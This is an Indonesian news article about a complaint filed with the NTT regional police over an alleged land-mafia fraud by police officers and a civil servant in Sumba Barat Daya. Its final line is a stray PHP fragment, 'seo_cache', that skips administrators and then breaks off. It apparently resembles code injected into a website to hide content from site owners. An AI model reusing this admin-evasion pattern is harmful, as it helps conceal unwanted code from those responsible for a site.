Hukum

Laporan Bergulir Sampai Mapolda NTT, Oknum Anggota Polri di SBD dalam Pusaran Kasus Mafia Tanah

×

Laporan Bergulir Sampai Mapolda NTT, Oknum Anggota Polri di SBD dalam Pusaran Kasus Mafia Tanah

Sebarkan artikel ini

KUPANG, MENARASUMBA.COM Kasus mafia tanah yang diduga telah merugikan dua warga Desa Tanjung Karoso, Kecamatan Kodi, Kabupaten SBD telah bergulir hingga Mapolda NTT.

Secara resmi, kuasa hukum Wilhelmus Winya Marru dan Hendrikus Wona Dendo, dua pemilik tanah yang telah dikibuli oknum mafia ini telah melapor ke Propam Polda NTT.

“Hari ini saya selaku kuasa hukum korban mafia tanah di Sumba Barat Daya telah melapor ke Polda NTT,” ujar Advokat Yubilate Pieter Pandango, Rabu (03/12/2025).

Pengacara muda yang saat itu didampingi Umbu Fajar dari Aliansi Masyarakat Adat Nusantara (AMAN) ini menyebut, ada dugaan tindak pidana yang telah dilakukan oleh sejumlah oknum anggota kepolisian di Sumba Barat Daya.

Diduga para oknum anggota Polri ini bekerja sama dengan salah satu oknum ASN di Dinas PUPR Kabupaten SBD.

“Saya sudah melaporkan tadi di propam dengan informasi laporan pengaduan itu EMRLEYIF dengan nomor registrasi 251-20-30-00047 tertanggal 3 Desember 2025,” terangnya lagi

Sebelum itu, tim internal kuasa hukum para korban mafia tanah di Tanjung Karoso telah menggelar rapat evaluasi.

Rapat ini, katanya lebih lanjut, terkait permasalahan hukum jual-beli tanah yang melibatkan ASN aktif atas nama Yohanis Umbu Deta dan beberapa oknum anggota polisi aktif.

“Kasus ini bermula ketika dua warga atas nama Wilhelmus Winya Marru dan Hendrikus Wona Dendo, yang diketahui sebagai orang buta huruf. Minta maaf ya, ini sesuai keterangan mereka sendiri,” beber advokat muda ini.

“Diduga keduanya diperdaya dan diarahkan oleh oknum anggota Brimob inisial B dan oknum anggota polisi umum berinisial FHD untuk menandatangani surat kuasa jual kepada saudara Yohanes Umbu Deta pada 24 Mei 2024,” ungkapnya lebih lanjut.

Pada tanggal 27 Mei 2024 Yohanis Umbu Deta sebagai kuasa jual bersama anggota oknum polisi, diduga telah menerima uang DP sebesar 1 miliar dari seorang pembeli tanah bernama King Kevin.

Namun kemudian, diduga setelah memperoleh DP sejumlah 1 miliar, Yohanis Umbu Deta merubah statusnya dengan kedua pemilik tanah.

Ia bukan lagi kuasa jual tapi malah bertindak sebagai pembeli pada bulan Oktober 2024.

Oknum anggota Polri ini hadir di kantor notaris menyaksikan proses penyerahan uang 10 miliar harga tanah kepada Wilhelmus Winya Marru dan Hendrikus Wona Dendo.

“Saat penyerahan uang oknum-oknum ini menyuruh klien saya yang boleh dikatakan buta huruf untuk memegang uang sebanyak itu lalu difoto,” tuturnya.

Namun setelah didokumentasikan, uang sebanyak itu diambil kembali oleh istri dari B oknum anggota Brimob, dan hanya 500 juta yang diberikan kepada kedua pemilik tanah.

“Jadi ini trik-trik busuk mereka yang kita harus bongkar,” tegasnya.

Pengacara muda asal Sumba Barat yang bernaung di bawah Peradi ini menandaskan, dengan trik-trik jahat oknum-oknum ini melakukan segala macam cara untuk mendapatkan uang lebih banyak dari pemilik tanah.

“Artinya, pemilik tanah mendapatkan tulang dan para makelar ini yang justru ambil semua isinya,” pungkas Yubilate. ( KOP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>